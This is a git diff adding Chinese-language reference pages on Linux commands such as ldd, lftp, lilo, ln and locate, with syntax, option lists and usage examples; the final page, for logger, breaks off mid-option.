+-V:此选项打印出ldconfig的版本信息,而后退出。 +-? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。 +``` + + **ldconfig几个需要注意的地方:** + +1. 往`/lib`和`/usr/lib`里面加东西,是不用修改`/etc/ld.so.conf`的,但是完了之后要调一下ldconfig,不然这个library会找不到。 +2. 想往上面两个目录以外加东西的时候,一定要修改`/etc/ld.so.conf`,然后再调用ldconfig,不然也会找不到。 +3. 比如安装了一个mysql到`/usr/local/mysql`,mysql有一大堆library在`/usr/local/mysql/lib`下面,这时就需要在`/etc/ld.so.conf`下面加一行`/usr/local/mysql/lib`,保存过后ldconfig一下,新的library才能在程序运行时被找到。 +4. 如果想在这两个目录以外放lib,但是又不想在`/etc/ld.so.conf`中加东西(或者是没有权限加东西)。那也可以,就是export一个全局变量LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用。 +5. ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了。 +6. 总之,就是不管做了什么关于library的变动后,最好都ldconfig一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事。 +7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ldd.md b/LearnShell/LinuxCommands/ldd.md new file mode 100644 index 0000000..45fe667 --- /dev/null +++ b/LearnShell/LinuxCommands/ldd.md @@ -0,0 +1,48 @@ +ldd +=== + +打印程序或者库文件所依赖的共享库列表 + +## 补充说明 + +**ldd命令** 用于打印程序或者库文件所依赖的共享库列表。 + +### 语法 + +``` +ldd(选项)(参数) +``` + +### 选项 + +``` +--version:打印指令版本号; +-v:详细信息模式,打印所有相关信息; +-u:打印未使用的直接依赖; +-d:执行重定位和报告任何丢失的对象; +-r:执行数据对象和函数的重定位,并且报告任何丢失的对象和函数; +--help:显示帮助信息。 +``` + +### 参数 + +文件:指定可执行程序或者文库。 + +### 其他介绍 + +首先ldd不是一个可执行程序,而只是一个shell脚本 + +ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:`LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE`等。当`LD_TRACE_LOADED_OBJECTS`环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下: + +``` +export LD_TRACE_LOADED_OBJECTS=1 +``` + +再执行任何的程序,如ls等,看看程序的运行结果。 + +ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linux.so(elf动态库的装载器)来实现的。我们知道,ld-linux.so模块会先于executable模块程序工作,并获得控制权,因此当上述的那些环境变量被设置时,ld-linux.so选择了显示可执行模块的dependency。 + +实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program) + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/less.md b/LearnShell/LinuxCommands/less.md new file mode 100644 index 0000000..d4a4dbb --- /dev/null +++ b/LearnShell/LinuxCommands/less.md @@ -0,0 +1,39 @@ +less +=== + +分屏上下翻页浏览文件内容 + +## 补充说明 + +**less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 + +### 语法 + +``` +less(选项)(参数) +``` + +### 选项 + +``` +-e:文件内容显示完毕后,自动退出; +-f:强制显示文件; +-g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度; +-l:搜索时忽略大小写的差异; +-N:每一行行首显示行号; +-s:将连续多个空行压缩成一行显示; +-S:在单行显示较长的内容,而不换行显示; +-x<数字>:将TAB字符显示为指定个数的空格字符。 +``` + +### 参数 + +文件:指定要分屏显示内容的文件。 + +## 实例 + +```bash +sudo less /var/log/shadowsocks.log +``` + + diff --git a/LearnShell/LinuxCommands/let.md b/LearnShell/LinuxCommands/let.md new file mode 100644 index 0000000..1de8559 --- /dev/null +++ b/LearnShell/LinuxCommands/let.md @@ -0,0 +1,37 @@ +let +=== + +简单的计算器 + +## 补充说明 + +**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。 + +### 语法 + +``` +let arg [arg ...] #arg代表运算式 +``` + +### 用法 + +自加操作`let no++` +自减操作`let no--` +简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20` + +### 实例 + +``` +#!/bin/bash +let a=5+4 b=9-3 +echo $a $b +``` + +``` +#!/bin/bash +let "t1 = ((a = 5 + 3, b = 7 - 1, c = 15 - 4))" +echo "t1 = $t1, a = $a, b = $b" +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lftp.md b/LearnShell/LinuxCommands/lftp.md new file mode 100644 index 0000000..4a979d2 --- /dev/null +++ b/LearnShell/LinuxCommands/lftp.md @@ -0,0 +1,119 @@ +lftp +=== + +优秀的文件客户端程序 + +## 补充说明 + +**lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。 + +### 语法 + +``` +lftp(选项)(参数) +``` + +### 选项 + +``` +-f:指定lftp指令要执行的脚本文件; +-c:执行指定的命令后退出; +--help:显示帮助信息; +--version:显示指令的版本号。 +``` + +### 参数 + +站点:要访问的站点的ip地址或者域名。 + +### 实例 + + **登录ftp** + +``` +lftp 用户名:密码@ftp地址:传送端口(默认21) +``` + +也可以先不带用户名登录,然后在接口界面下用login命令来用指定账号登录,密码不显示。 + + **查看文件与改变目录** + +``` +ls +cd 对应ftp目录 +``` + + **下载** + +get当然是可以的,还可以: + +``` +mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载。 +mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制。 +pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。 +``` + + **上传** + +同样的put、mput都是对文件的操作,和下载类似。 + +``` +mirror -R 本地目录名 +``` + +将本地目录以迭代(包括子目录)的方式反向上传到ftp site。 + + **模式设置** + +``` +set ftp:charset gbk +``` + +远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。 + +``` +set file:charset utf8 +``` + +本地的charset设定为utf8,如果你是gbk,相应改掉。 + +``` +set ftp:passive-mode 1 +``` + +使用被动模式登录,有些site要求必须用被动模式或者主动模式才可以登录,这个开关就是设置这个的。0代表不用被动模式。 + + **书签** + +其实命令行也可以有书签,在lftp终端提示符下: + +``` +bookmark add ustc +``` + +就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了。 + +``` +bookmark edit +``` + +会调用编辑器手动修改书签。当然,也可以看到,这个书签其实就是个简单的文本文件。密码,用户名都可以看到。 + + **配置文件** + +``` +vim /etc/lftp.conf +``` + +一般,我会添加这几行: + +``` +set ftp:charset gbk +set file:charset utf8 +set pget:default-n 5 +``` + +这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lftpget.md b/LearnShell/LinuxCommands/lftpget.md new file mode 100644 index 0000000..d15e019 --- /dev/null +++ b/LearnShell/LinuxCommands/lftpget.md @@ -0,0 +1,29 @@ +lftpget +=== + +调用lftp指令下载指定的文件 + +## 补充说明 + +**lftpget命令** 通过调用lftp指令下载指定的文件。 + +### 语法 + +``` +lftpget(选项)(参数) +``` + +### 选项 + +``` +-c:继续先前的下载; +-d:输出调试信息; +-v:输出详细信息。 +``` + +### 参数 + +文件:指定要下载的文件,文件必须是合法的URL路径。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lha.md b/LearnShell/LinuxCommands/lha.md new file mode 100644 index 0000000..10c9399 --- /dev/null +++ b/LearnShell/LinuxCommands/lha.md @@ -0,0 +1,46 @@ +lha +=== + +压缩或解压缩lzh格式文件 + +## 补充说明 + +**lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。 + +### 选项 + +``` +-a或a:压缩文件,并加入到压缩文件内。 +-a<0/1/2>/u 压缩文件时,采用不同的文件头。 +-c或c:压缩文件,重新建构新的压缩文件后,再将其加入。 +-d或d:从压缩文件内删除指定的文件。 +-d或d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中。 +-e或e:解开压缩文件。 +-f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问。 +-g或g:使用通用的压缩格式,便于解决兼容性的问题。 +-i或i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中。 +-l或l:列出压缩文件的相关信息。 +-m或m:此选项的效果和同时指定"-ad"选项相同。 +-n或n:不执行指令,仅列出实际执行会进行的动作。 +-o或o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件。 +-p或p:从压缩文件内输出到标准输出设备。 +-q或q:不显示指令执行过程。 +-t或t:检查备份文件内的每个文件是否正确无误。 +-u或u:更换较新的文件到压缩文件内。 +-u或u:在文件压缩时采用不同的文件头,然后更新到压缩文件内。 +-v或v:详细列出压缩文件的相关信息。 +-w=<目的目录>或w=<目的目录>:指定解压缩的目录。 +-x或x:解开压缩文件。 +-z或z:不压缩文件,直接把它加入,更新压缩文件。 +``` + +### 实例 + +``` +lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件 +lha -a abc2 /home/hnlinux #压缩目录 +lha -xiw=agis abc #解压文件abc,到当前目录 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lilo.md b/LearnShell/LinuxCommands/lilo.md new file mode 100644 index 0000000..9828f89 --- /dev/null +++ b/LearnShell/LinuxCommands/lilo.md @@ -0,0 +1,137 @@ +lilo +=== + +安装核心载入开机管理程序 + +## 补充说明 + +**lilo命令** 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo。 + +Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用。 + +虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。 + +### 语法 + +``` +lilo(选项) +``` + +### 选项 + +``` +-b<外围设备代号>:指定安装lilo之处的外围设备代号; +-c:使用紧致映射模式; +-C<配置文件>:指定lilo的配置文件; +-d<延迟时间>:设置开机延迟时间; +-D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签; +-f<几何参数文件>:指定磁盘的几何参数配置文件; +-i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件; +-I<识别标签>:显示系统核心存放之处; +-l:产生线形磁区地址; +-m<映射文件>:指定映射文件; +-P:决定要修复或忽略分区表的错误; +-q:列出映射的系统核心文件; +-r<根目录>:设置系统启动时欲挂入成为根目录的目录; +-R<执行指令>:设置下次启动系统时,首先执行的指令; +-s<备份文件>:指定备份文件; +-S<备份文件>:强制指定备份文件; +-t:不执行指令,仅列出实际执行会进行的动作; +-u<外围色设备代号>:删除lilo; +-U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记; +-v:显示指令执行过程; +-V:显示版本信息。 +``` + +### 实例 + + **使用 LILO 作为引导加载程序** + +要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。 + +要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入: + +``` +/sbin/lilo -v -v +``` + +这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。 + + **配置 LILO** + +LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成的。清单 1 给出了一个示例配置,使用的是我的家用机器,支持 Linux 和 Windows 机器的双重引导。了解我的工作站的基本配置,就可以想像出这些配置是如何与实际机器相关联的: + +主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0)。 + +从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3)。 + +lilo.conf 示例文件: + +``` +boot=/dev/hda +map=/boot/map +install=/boot/boot.b +prompt +timeout=100 +compact +default=Linux +image=/boot/vmlinuz-2.4.18-14 + label=Linux + root=/dev/hdb3 + read-only + password=linux +other=/dev/hda + label=WindowsXP +``` + +配置文件选项说明: + +* boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘。 +* map= 指向引导期间 LILO 内部使用的映射文件。当使用 /sbin/lilo 命令安装 LILO 时, 它会自动生成这个文件,其中包含有描述符表(还有其他内容)。建议不要改动这个文件! +* install= 是 LILO 在引导过程中内部使用的文件之一。它同时包含有引导加载程序的主要部分和二级部分。boot.b 文件的 一个片段被写入到 MBR(引导加载程序的主要部分),它会指向那个映射,接下来指向二级引导加载程序。同样,不要改动它! +* prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用)。 +* timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略。 +* compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用。 +* default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像。 +* 对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本。 +* label= 标明了在运行期间希望能够从用户界面引导的不同 OS。另外,这个标签用于指定引导的默认 OS。 (注意:标签名称中避免出现空格;否则,引导那个文件时会出现无法预期的错误。) +* root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区。 +* read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载。 +* password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令)。 +* other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样。 +* label= 与所有其他 label 选项相同。 + +在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行: + +``` +/sbin/lilo -v -v +``` + +`-v -v`标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。 + + **初始引导过程** + +当 LILO 初始引导时,它会按次序打印出每个字母 —— L-I-L-O。如果所有字母都显示出来,那么第一阶段引导就成功了。缺少任何内容 都表示出现了问题: + +L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数。 + +LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载。 + +LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题。 + +LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同。 + +LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误。 + +LILO:LILO 成功被加载,没有出现任何错误。 + + **引导时的附加配置** + +LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导`/dev/hdb3`,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。 + +不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行`/sbin/lilo`时指定选项。 + +关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ln.md b/LearnShell/LinuxCommands/ln.md new file mode 100644 index 0000000..2b1e8eb --- /dev/null +++ b/LearnShell/LinuxCommands/ln.md @@ -0,0 +1,112 @@ +ln +=== + +用来为文件创件连接 + +## 补充说明 + +**ln命令** 用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。 + +注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。 + +### 语法 + +``` +ln [选项]... [-T] 目标 链接名 (第一种格式) + 或:ln [选项]... 目标 (第二种格式) + 或:ln [选项]... 目标... 目录 (第三种格式) + 或:ln [选项]... -t 目录 目标... (第四种格式) +``` + +### 选项 + +``` + --backup[=CONTROL] 为每个已存在的目标文件创建备份文件 +-b 类似--backup,但不接受任何参数 +-d, -F, --directory 创建指向目录的硬链接(只适用于超级用户) +-f, --force 强行删除任何已存在的目标文件 +-i, --interactive 覆盖既有文件之前先询问用户; +-L, --logical 取消引用作为符号链接的目标 +-n, --no-dereference 把符号连接的目的目录视为一般文件; +-P, --physical 直接将硬链接到符号链接 +-r, --relative 创建相对于链接位置的符号链接 +-s, --symbolic 对源文件建立符号连接,而非硬连接; +-S, --suffix=SUFFIX 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它; +-t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY +-T, --no-target-directory 将“LINK_NAME”视为常规文件 +-v, --verbose 打印每个链接文件的名称 + --help 显示此帮助信息并退出 + --version 显示版本信息并退出 +``` + +### 参数 + +* 源文件:指定连接的源文件。如果使用`-s`选项创建符号连接,则“源文件”可以是文件或者目录。创建硬连接时,则“源文件”参数只能是文件; +* 目标文件:指定源文件的目标连接文件。 + +```bash +none, off # 不进行备份(即使使用了--backup 选项) +numbered, t # 备份文件加上数字进行排序 +existing, nil # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份 +simple, never # 永远使用普通方式备份 +``` + +### 实例 + +将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c + +``` +cd /usr/mengqc +ln /mub1/m2.c /usr/liu/a2.c +``` + +在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。 + +在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1` + +``` +ln -s /usr/mengqc/mub1 /usr/liu/abc +``` + +执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。 + +## 扩展知识 + +Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。 + +文件链接有两种形式,即硬链接和符号链接。 + +### 硬链接 + +建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。 + +创建硬链接后,己经存在的文件的I节点号(Inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为l。 + +在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。 + +对硬链接有如下限制: + +* 不能对目录文件做硬链接。 +* 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。 + +### 符号链接 + +符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件),其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。 + +!符号连接 + +与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的I节点号;而硬链接并没有建立新文件。 + +符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。 + +用`ln -s`命令建立符号链接时,源文件最好用绝对路径名。这样可以在任何工作目录下进行符号链接。而当源文件用相对路径时,如果当前的工作路径与要创建的符号链接文件所在路径不同,就不能进行链接。 + +符号链接保持了链接与源文件或目录之间的区别: + +* 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。 +* 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。 +* 符号链接的大小是其链接文件的路径名中的字节数。 +* 当用`ln -s`命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如`lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file`其中,表示“文件大小”的数字“14”恰好说明源文件名`original_file`由14个字符构成。 + + + diff --git a/LearnShell/LinuxCommands/lnstat.md b/LearnShell/LinuxCommands/lnstat.md new file mode 100644 index 0000000..3047924 --- /dev/null +++ b/LearnShell/LinuxCommands/lnstat.md @@ -0,0 +1,30 @@ +lnstat +=== + +显示Linux系统的网路状态 + +## 补充说明 + +**lnstat命令** 用来显示Linux系统的网路状态。 + +### 语法 + +``` +lnstat(选项) +``` + +### 选项 + +``` +-h:显示帮助信息; +-V:显示指令版本信息; +-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态; +-d:显示可用的文件或关键字; +-i:指定两次显示网络状的间隔秒数; +-k:只显示给定的关键字; +-s:是否显示标题头; +-w:指定每个字段所占的宽度。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/locate.md b/LearnShell/LinuxCommands/locate.md new file mode 100644 index 0000000..39cb776 --- /dev/null +++ b/LearnShell/LinuxCommands/locate.md @@ -0,0 +1,82 @@ +locate +=== + +Apache服务器的性能测试工具 + +## 补充说明 + +locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。 + +locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab) + +locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”*” 或”?”等)来指定范本样式,如指定范本为kcpa*ner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。 + +locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。 + + +### 语法 + +``` +locate [选择参数] [样式] +``` + +### 选项 + +``` +-e 将排除在寻找的范围之外。 +-1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 +-f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。 +-q 安静模式,不会显示任何错误讯息。 +-n 至多显示 n个输出。 +-r 使用正规运算式 做寻找的条件。 +-o 指定资料库存的名称。 +-d 指定资料库的路径 +-h 显示辅助讯息 +-V 显示程式的版本讯息 +``` + +### 实例 + +实例1:查找和pwd相关的所有文件 + +``` +root ~ # locate pwd +/bin/pwd +/etc/.pwd.lock +/sbin/unix_chkpwd +/usr/bin/pwdx +/usr/include/pwd.h +/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.py +/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.pyc +/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.py +/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.pyc +/usr/lib/syslinux/pwd.c32 +/usr/share/help/C/empathy/irc-join-pwd.page +/usr/share/help/ca/empathy/irc-join-pwd.page +/usr/share/help/cs/empathy/irc-join-pwd.page +/usr/share/help/de/empathy/irc-join-pwd.page +/usr/share/help/el/empathy/irc-join-pwd.page +``` + +实例2: 搜索etc目录下所有以sh开头的文件 + +``` +root ~ # locate /etc/sh +/etc/shadow +/etc/shadow- +/etc/shells +``` + +实例3:搜索etc目录下,所有以m开头的文件 + +``` +root ~ # locate /etc/m +/etc/magic +/etc/magic.mime +/etc/mailcap +/etc/mailcap.order +/etc/manpath.config +/etc/mate-settings-daemon +``` + + diff --git a/LearnShell/LinuxCommands/logger.md b/LearnShell/LinuxCommands/logger.md new file mode 100644 index 0000000..63ac132 --- /dev/null +++ b/LearnShell/LinuxCommands/logger.md @@ -0,0 +1,42 @@ +logger +=== + +在系统日志中记录相应条目 + +## 补充说明 + +**logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块 + +### 语法 + +``` +logger [options] [message] +``` + +### 选项 + +``` + -T, --tcp 使用流连接(TCP) + -d, --udp 使用数据报(UDP) + -i, --id 逐行记录每一次logger的进程ID + -f, --file 记录特定的文件 + -h, --help 显示帮助文本并退出 + -n, --server 写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程 + -P, --port 使用指定的UDP端口。默认的端口号是514 + -p, --priority 指定输入消息的优先级,优先级可以是数字或者指定为 